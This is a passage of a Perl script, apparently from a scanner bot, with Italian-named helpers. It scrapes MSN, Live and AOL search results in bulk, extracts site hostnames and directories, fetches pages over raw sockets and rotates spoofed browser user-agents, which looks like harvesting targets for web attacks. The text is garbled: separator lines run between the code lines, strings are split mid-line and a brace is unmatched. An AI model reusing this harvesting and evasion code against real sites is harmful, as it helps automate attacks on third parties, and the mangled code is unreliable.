while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
|
||
|
||
my $k=$1;
|
||
|
||
$k=~s/<b>//g;
|
||
|
||
$k=~s/<\/b>//g;
|
||
|
||
$k=~s/<wbr>//g;
|
||
|
||
push(@lst,@grep);}}
|
||
|
||
return @lst;}
|
||
|
||
sub msn(){
|
||
|
||
my @lst;
|
||
|
||
my $key = $_[0];
|
||
|
||
for($b=1;$b<=1000;$b+=10){
|
||
|
||
my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=
|
||
".$b."&FORM=PERE");
|
||
|
||
my $Res=query($MsN);
|
||
|
||
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
|
||
|
||
if($1 !~ /msn|live/){
|
||
|
||
my $k=$1;
|
||
|
||
my @grep=links($k);
|
||
|
||
push(@lst,@grep);
|
||
|
||
}}}
|
||
|
||
return @lst;
|
||
|
||
}
|
||
|
||
sub msnde(){
|
||
|
||
my @lst;
|
||
|
||
my $key = $_[0];
|
||
|
||
for($b=1;$b<=1000;$b+=10){
|
||
|
||
my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&go=&first=
|
||
".$b."=Rechercher&mkt=de-de&scope=&FORM=PERE");
|
||
|
||
my $Res=query($MsN);
|
||
|
||
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
|
||
|
||
if($1 !~ /msn|live/){
|
||
|
||
my $k=$1;
|
||
|
||
my @grep=links($k);
|
||
|
||
push(@lst,@grep);
|
||
|
||
}}}
|
||
|
||
return @lst;
|
||
|
||
}
|
||
|
||
sub msnlive(){
|
||
|
||
my @lst;
|
||
|
||
my $key = $_[0];
|
||
|
||
for($b=1;$b<=1000;$b+=10){
|
||
|
||
my $MsN=("http://msn.com/results.aspx?q=".key($key)."&first=".$b."&FORM=
|
||
PERE");
|
||
|
||
my $Res=query($MsN);
|
||
|
||
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
|
||
|
||
if($1 !~ /msn|live/){
|
||
|
||
my $k=$1;
|
||
|
||
my @grep=links($k);
|
||
|
||
push(@lst,@grep);
|
||
|
||
}}}
|
||
|
||
return @lst;
|
||
|
||
}
|
||
|
||
sub aol(){
|
||
|
||
my $key=$_[0];
|
||
|
||
my @lst;
|
||
|
||
my $pg=0;
|
||
|
||
for($pg=1; $pg<=50;$pg++) {
|
||
|
||
my $Lib=("http://search.aol.com/aol/search?query=".key($key)."&page=
|
||
$pg");
|
||
|
||
my $Res=query($Lib);
|
||
|
||
while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\
|
||
<\/p>/g ){
|
||
|
||
my $k="$1/";
|
||
|
||
my @grep=links($k);
|
||
|
||
push(@lst,@grep);
|
||
|
||
}}
|
||
|
||
return @lst;
|
||
|
||
}
|
||
|
||
sub aol1(){
|
||
|
||
my $key=$_[0];
|
||
|
||
my @lst;
|
||
|
||
my $pg=0;
|
||
|
||
for($pg=0; $pg<=100;$pg++) {
|
||
|
||
my $Lib=("http://search.aol.com/aol/search?query=".key($key)."&page=$pg&
|
||
filter=false&nt=null&invocationType=topsearchbox.webhome&clickstreamid=
|
||
-4692113551542614318");
|
||
|
||
my $Res=query($Lib);
|
||
|
||
while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\
|
||
<\/p>/g ){
|
||
|
||
my $k="$1/";
|
||
|
||
my @grep=links($k);
|
||
|
||
push(@lst,@grep);
|
||
|
||
}}
|
||
|
||
return @lst;
|
||
|
||
}
|
||
|
||
sub aol2(){
|
||
|
||
my $key=$_[0];
|
||
|
||
my @lst;
|
||
|
||
my $pg=0;
|
||
|
||
for($pg=0; $pg<=100;$pg++) {
|
||
|
||
my $Lib=("http://suche.aol.de/suche/web/search.jsp?q=".key($key)."&
|
||
cluster=&normalization_level=a&famFilter=off&lr=lang_de&langRestrict=2&cpi=
|
||
$pg");
|
||
|
||
my $Res=query($Lib);
|
||
|
||
while($Res =~ m/<a href=\"http:\/\/(.+?)\" target=\"_blank\" style=\
|
||
"font-size:14;text-decoration:underline\">/g ){
|
||
|
||
my $k="$1/";
|
||
|
||
my @grep=links($k);
|
||
|
||
push(@lst,@grep);
|
||
|
||
}}
|
||
|
||
return @lst;
|
||
|
||
}
|
||
|
||
sub aol3(){
|
||
|
||
my $key=$_[0];
|
||
|
||
my @lst;
|
||
|
||
my $pg=0;
|
||
|
||
for($pg=0; $pg<=100;$pg++) {
|
||
|
||
my $Lib=("http://search.aol.co.uk/aol/search?query=".key($key)."&page=
|
||
$pg&isinit=true&restrict=countryUK&cr=countryUK&userid=3696368980330600879&
|
||
avtype=&invocationType=hf_aoluk_po_ws_unauth&clickstreamid=
|
||
3696368980330600877");
|
||
|
||
my $Res=query($Lib);
|
||
|
||
while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\
|
||
<\/p>/g ){
|
||
|
||
my $k="$1/";
|
||
|
||
my @grep=links($k);
|
||
|
||
push(@lst,@grep);
|
||
|
||
}}
|
||
|
||
return @lst;
|
||
|
||
}
|
||
|
||
sub stampa()
|
||
|
||
{
|
||
|
||
if ($#_ == '1') {
|
||
|
||
my $sk = $_[0];
|
||
|
||
print $sk "$_[1]\n";
|
||
|
||
} else {
|
||
|
||
print $sk "$_[0]\n";
|
||
|
||
}}
|
||
|
||
sub links()
|
||
|
||
{
|
||
|
||
my @l;
|
||
|
||
my $link=$_[0];
|
||
|
||
my $host=$_[0];
|
||
|
||
my $hdir=$_[0];
|
||
|
||
$hdir=~s/(.*)\/[^\/]*$/\1/;
|
||
|
||
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
|
||
|
||
$host.="/";
|
||
|
||
$link.="/";
|
||
|
||
$hdir.="/";
|
||
|
||
$host=~s/\/\//\//g;
|
||
|
||
$hdir=~s/\/\//\//g;
|
||
|
||
$link=~s/\/\//\//g;
|
||
|
||
push(@l,$link,$host,$hdir);
|
||
|
||
return @l;
|
||
|
||
}
|
||
|
||
sub geths(){
|
||
|
||
my $host=$_[0];
|
||
|
||
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
|
||
|
||
return $host;
|
||
|
||
}
|
||
|
||
sub key(){
|
||
|
||
my $chiave=$_[0];
|
||
|
||
$chiave =~ s/ /\+/g;
|
||
|
||
$chiave =~ s/:/\%3A/g;
|
||
|
||
$chiave =~ s/\//\%2F/g;
|
||
|
||
$chiave =~ s/&/\%26/g;
|
||
|
||
$chiave =~ s/\"/\%22/g;
|
||
|
||
$chiave =~ s/,/\%2C/g;
|
||
|
||
$chiave =~ s/\\/\%5C/g;
|
||
|
||
return $chiave;
|
||
|
||
}
|
||
|
||
sub query($){
|
||
|
||
my $url=$_[0];
|
||
|
||
$url=~s/http:\/\///;
|
||
|
||
my $host=$url;
|
||
|
||
my $query=$url;
|
||
|
||
my $page="";
|
||
|
||
$host=~s/href=\"?http:\/\///;
|
||
|
||
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
|
||
|
||
$query=~s/$host//;
|
||
|
||
if ($query eq "") {$query="/";};
|
||
|
||
eval {
|
||
|
||
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto
|
||
=>"tcp") or return;
|
||
|
||
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\
|
||
nUser-Agent: Mozilla/5.0\r\n\r\n";
|
||
|
||
my @r = <$sock>;
|
||
|
||
$page="@r";
|
||
|
||
close($sock);
|
||
|
||
};
|
||
|
||
return $page;
|
||
|
||
}
|
||
|
||
sub unici{
|
||
|
||
my @unici = ();
|
||
|
||
my %visti = ();
|
||
|
||
foreach my $elemento ( @_ )
|
||
|
||
{
|
||
|
||
next if $visti{ $elemento }++;
|
||
|
||
push @unici, $elemento;
|
||
|
||
}
|
||
|
||
return @unici;
|
||
|
||
}
|
||
|
||
sub http_query($){
|
||
|
||
my ($url) = @_;
|
||
|
||
my $host=$url;
|
||
|
||
my $query=$url;
|
||
|
||
my $page="";
|
||
|
||
$host =~ s/href=\"?http:\/\///;
|
||
|
||
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
|
||
|
||
$query =~s/$host//;
|
||
|
||
if ($query eq "") {$query="/";};
|
||
|
||
eval {
|
||
|
||
local $SIG{ALRM} = sub { die "1";};
|
||
|
||
alarm 10;
|
||
|
||
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto
|
||
=>"tcp") or return;
|
||
|
||
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\
|
||
nUser-Agent: Mozilla/5.0\r\n\r\n";
|
||
|
||
my @r = <$sock>;
|
||
|
||
$page="@r";
|
||
|
||
alarm 0;
|
||
|
||
close($sock);
|
||
|
||
};
|
||
|
||
return $page;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
sub Agent(){
|
||
|
||
my @ret = (
|
||
|
||
"Microsoft Internet Explorer/4.0b1 (Windows 95)",
|
||
|
||
"Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)",
|
||
|
||
"Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)",
|
||
|
||
"Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
|
||
CLR 1.1.4322)",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
|
||
CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET
|
||
CLR 1.1.4322)",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 7.0b; Win32)",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
|
||
|
||
"Microsoft Pocket Internet Explorer/0.6",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)",
|
||
|
||
"MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows
|
||
CE; Smartphone;",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1;
|
||
rev1.1; Windows NT 5.1;)",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1;
|
||
rev1.2; Windows NT 5.1;)",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1;
|
||
rev1.5; Windows NT 5.1;)",
|
||
|
||
"Advanced Browser (http://www.avantbrowser.com)",
|
||
|
||
"Avant Browser (http://www.avantbrowser.com)",
|
||
|
||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant
|
||
Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)",
|
||
|
||
"Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux;
|
||
20020515)",
|
||
|
||
"Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk;
|
||
X11; i686; fr, fr_FR)",
|
||
|
||
"Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/
|
||
20050720 Minimo/0.007",
|
||
|
||
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/
|
||
20050511",
|
||
|
||
"Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/
|
||
20050929",
|
||
|
||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko
|
||
/20041202 Firefox/1.0",
|
||
|
||
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/
|
||
20050512 Firefox",
|
||
|
||
"Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/
|
||
20050609 Firefox/1.0.4",
|
||
|
||
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/
|
||
20050711 Firefox/1.0.5",
|
||
|
||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10)
|
||
Gecko/20050716 Firefox/1.0.6",
|
||
|
||
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB;
|
||
rv:1.7.10) Gecko/20050717 Firefox/1.0.6",
|
||
|
||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12)
|
||
Gecko/20050915 Firefox/1.0.7",
|
||
|
||
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US;
|
||
rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
|
||
|
||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko
|
||
/20050908 Firefox/1.4",
|
||
|
||
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US;
|
||
rv:1.8b4) Gecko/20050908 Firefox/1.4",
|
||
|
||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/
|
||
20051107 Firefox/1.5",
|
||
|
||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1)
|
||
Gecko/20060111 Firefox/1.5.0.1",
|
||
|
||
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1)
|
||
Gecko/20060111 Firefox/1.5.0.1",
|
||
|
||
"Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/
|
||
20051002 Firefox/1.6a1",
|
||
|
||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/
|
||
20060321 Firefox/2.0a1",
|
||
|
||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/
|
||
20060710 Firefox/2.0b1",
|
||
|
||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/
|
||
20060710 Firefox/2.0b2",
|
||
|
||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/
|
||
20060918 Firefox/2.0",
|
||
|
||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/
|
||
20051219 SeaMonkey/1.0b",
|
||
|
||
"Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/
|
||
20060130 SeaMonkey/1.0",
|
||
|
||
"Mozilla/3.0 (OS/2; U)",
|
||
|
||
"Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)",
|
||
|
||
"Mozilla/4.61 (Macintosh; I; PPC)",
|
||
|
||
"Mozilla/4.61 [en] (OS/2; U)",
|
||
|
||
"Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)",
|
||
|
||
"Mozilla/4.8 [en] (Windows NT 5.0; U)" );
|
||
|
||
return(@ret);
|
||
|
||
}
|